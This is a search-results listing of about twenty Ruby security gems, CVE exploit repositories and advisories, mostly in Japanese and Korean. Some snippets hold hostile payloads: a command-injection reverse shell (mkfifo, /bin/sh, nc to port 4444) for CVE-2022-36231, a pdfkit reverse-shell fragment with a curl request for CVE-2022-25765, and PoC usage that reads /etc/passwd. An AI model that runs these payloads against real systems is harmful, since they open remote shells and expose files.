4007 matches found
CVE-2022-36231
CVE-2022-36231 Ruby gem pdfinfo /dev/null initialize メソッドと同様に、@pdfpath 変数に対する検証は行われません。これにより、; を使用したコマンドチェーンを利用して任意のコマンドを実行できます。 info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 上記のコードスニペットは、ポート 4444 で 127.0.0.1...
ctf-party
ctf-party 概要 CTFプレイヤー(またはセキュリティ研究者、バグバウンティハンター、ペネトレーションテスターですが、主にCTFに焦点を当てています)向けに、スクリプトやエクスプロイトの作成を強化・高速化するCLIツール兼ライブラリです。Stringクラスにパッチを当て、よく使うコードパターンを短い構文で記述できるようにします。また、純粋なネイティブRuby(依存関係なし)を維持し、他のライブラリが既にうまくやっていることを再実装しないという哲学に基づいています。 例えば、以下のように書く代わりに: require 'base64' myvar = 'string' myvar ...
deadfinder
Find dead-links broken links Documentation • Installation • Github Action • Contributing • Changelog Dead link broken link means a link within a web page that cannot be connected. These links can have a negative impact to SEO and Security. This tool makes it easy to identify and modify. Looking f...
pastenum
Pastenum Pastenum は、テキストダンプ列挙ツールです。公開サイトに投稿されたデータダンプや dox を発見・列挙するために設計されています。 現在、github.com、gist.github.com、pastebin.com、pastee.org、pastie.org のサイトを検索します。 Pastenum は、2011年にリリースされた nullthreat のオリジナル pastenum2 を gem として書き直したものです。 コードステータス インストール: Ruby 1.9. をインストール RubyGems をインストール gem install...
CVE-2021-33564
CVE-2021-33564 PoC CVE-2021-33564 用のエクスプロイトスクリプト Dragonfly Ruby Gem の引数インジェクション。 使用方法 任意のファイル読み取り python3 poc.py -u https:///system/refinery/images -r /etc/passwd 任意のファイル書き込み python3 poc.py -u https:///system/refinery/images -w public/test.txt -c test.txt -lu http:// 詳細については、ブログをご覧ください。...
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL経由(太字 の値を変更): curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...
seccomp-tools
Seccomp Tools seccomp 解析のための強力なツール群です。 このプロジェクトは主に(ただし排他的ではなく)CTF pwn チャレンジにおける seccomp サンドボックスの解析を目的としています。 一部の機能は CTF 特有のものですが、実世界の seccomp フィルタの解析にも同様に役立ちます。 機能 Dump - 実行ファイルから seccomp BPF を自動的にダンプします。 Disasm - seccomp BPF を人間が読みやすい形式に変換します。 簡易的な逆コンパイルに対応。 可能な限りシステムコール名と引数を表示。 カラフル! Asm -...
mihari
mihari OSINT 기반 위협 헌팅을 위한 쿼리 집계기입니다. Mihari는 단일 규칙에서 여러 서비스에 걸친 다중 검색을 집계하고, 발견 결과를 데이터베이스에 저장할 수 있습니다. Mihari는 기본적으로 다음 서비스를 지원합니다. Censys CIRCL passive DNS / passive SSL crt.sh dnstwister Fofa GreyNoise HunterHow Onyphe OTX PassiveTotal Pulsedive SecurityTrails Shodan urlscan.io Validin...
vbsmin
VBSmin VBScript ミニファイア 特徴 ⬜️ 余分な空白を削除 末尾の空白 先頭の空白 空行 インラインの余分なスペース 💬 コメントを削除 シングルクォート(行頭) シングルクォート(インライン) REM 1️⃣ 一行化 行分割(アンダースコア) コロン クイックスタート クイックインストール $ gem install vbsmin より多くのインストールオプションをご覧ください。 デフォルトの使用方法: CLI $ vbsmin samples/features.vbs Original file size: 344 bytes Minified file size:...
hoper
Hoper 指定したURLがエンドポイントに到達するまでのすべてのホップを表示します。例えば、メールのURLや短縮URLのように、完全な経路を確認したい場合に便利です。HoperはすべてのURLリダイレクトを返します。 インストール $ gem install hoper 使い方 コマンドラインで次のように入力します: $ hoper url 開発 リポジトリをチェックアウトした後、依存関係をインストールするためにbin/setupを実行してください。bin/consoleを実行すると、実験用のインタラクティブプロンプトが利用できます。...
declarative-policy
DeclarativePolicy: 선언적 권한 부여Authorization 라이브러리 이 라이브러리는 권한 부여 정책Authorization Policies 작성을 위한 DSL을 제공합니다. 로직과 권한을 분리하는 데 사용할 수 있으며, GitLab.com에서 프로덕션 수준으로 대규모로 사용되었습니다. 이 라이브러리의 원저자는 Jeanine Adkisson이며, 저작권은 GitLab이 소유합니다. 설치 애플리케이션의 Gemfile에 다음 줄을 추가하세요: gem 'declarativepolicy' 그런 다음 다음을 실행하세요:...
aws_public_ips
awspublicips 目次 何のため クイックスタート CLIリファレンス 設定 IAM権限 変更履歴 コントリビューション 連絡方法 何のため awspublicipsは、AWSアカウントに関連するすべてのパブリックIPアドレス(IPv4/IPv6両方)を取得するツールです。 これはライブラリおよびCLIとして使用でき、以下のAWSサービスをサポートしています(すべてClassicとVPCの両方に対応): APIGateway CloudFront EC2 および結果として: ECS, EKS, Beanstalk, Fargate, Batch, & NAT Instances...
heroku-CVE-2013-0269
heroku-CVE-2013-0269 すべてのHerokuアプリを検査し、脆弱性のあるバージョンのJSONを実行していないか確認します。 背景 RubyのJSON gemにおいてセキュリティ脆弱性が発見されました。これは最近発表されたRailsのMySQLインジェクション問題の根本原因です。JSON gemの新しいリリースが利用可能です。 開発者はこのスクリプトを実行することで、影響を受けるすべてのHerokuアプリケーションの完全なリストを取得できます。以下のJSONバージョンはパッチが適用され、このエクスプロイトに対して安全とみなされています。 1.7.7 1.6.8 1.5.5...
exploit-CVE-2022-25765
CVE-2022-25765 pdfkit のエクスプロイト - コマンドインジェクション このリポジトリが気に入りましたか? ⭐を付けてください! 教育および許可されたセキュリティ研究目的のみに使用してください。 エクスプロイト作成者 @UNICORDev @NicPWNs と @Dev-Yeoj 作 脆弱性の説明 pdfkit パッケージ(0.0.0以降)は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 エクスプロイトの説明 Ruby gem pdfkit は、ウェブサイトや HTML を PDF...
legacy-rails-CVE-2020-5267-patch
legacy-rails-CVE-2020-5267-patch Rails 4 および Rails 3 向けの CVE-2020-5267 のパッチです。Rails をアップグレードするのが明らかに最善ですが、それまでの間、古いバージョンの Rails に留まっている場合、この gem はセキュリティアドバイザリで指摘され、パッケージ化およびテスト済みのモンキーパッチを提供します。 インストール この行をアプリケーションの Gemfile に追加してください: gem 'legacy-rails-CVE-2020-5267-patch' そして、以下を実行します: $ bundle...
inspec_cve_2019_15224
悪意のある rest-client gem 2019年8月19日、rest-client gemに悪意のあるコードを含むいくつかのバージョンが公開されていたことが判明しました。悪意のあるrest-clientの発見に伴い、他のいくつかの新しいgemにも同様のコードが含まれていることが確認されました。 関連記事: https://www.securityweek.com/backdoor-found-rest-client-ruby-gem https://www.theregister.co.uk/2019/08/20/rubygemhacked/...
Important: Red Hat Security Advisory: ruby security update
An update for ruby is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...
resolv: resolv gem: Denial of Service via uncontrolled memory growth from crafted DNS responses
A flaw was found in the resolv gem. An attacker controlling DNS responses e.g., a spoofed response or a malicious upstream DNS server can exploit this by sending crafted DNS responses containing many distinct unknown DNS resource record pairs or SvcParamKeys. This leads to uncontrolled memory...
ssllabs.rb
ssllabs.rb Qualys SSL Labs サーバーテスト用の Ruby gem です。 API ノート SSL Labs API ドキュメント に記載されているすべての API オブジェクトは、ネイティブな Ruby オブジェクトとして公開されます。 プロパティは「アンダースコア付き」の名前でアクセスされます。つまり、endpoint.hoststarttime は API レスポンスの hostStartTime フィールドを返します。 すべてのブール型プロパティには ? 記号が接尾辞として付きます。したがって、endpoint.vulnbeast? は API レスポンス...
ssh_scan
sshscan SSH 설정 및 정책 스캐너 ⚠️ 지원 중단 공지 ⚠️ Mozilla는 더 이상 SSH Scan 프로젝트를 유지보수하지 않습니다. 계속 개발하려면 포크하세요. 주요 장점 최소 의존성 - 네이티브 Ruby와 BinData를 사용하여 작업을 수행하며, 무거운 의존성이 없습니다. 단순한 스크립트가 아님 - 구현이 이식 가능하여 다른 프로젝트나 작업 자동화에 사용할 수 있습니다. 간단함 - SSH 서비스를 sshscan에 지정하기만 하면 지원되는 항목과 정책 상태에 대한 JSON 보고서를 얻을 수 있습니다. 구성 가능...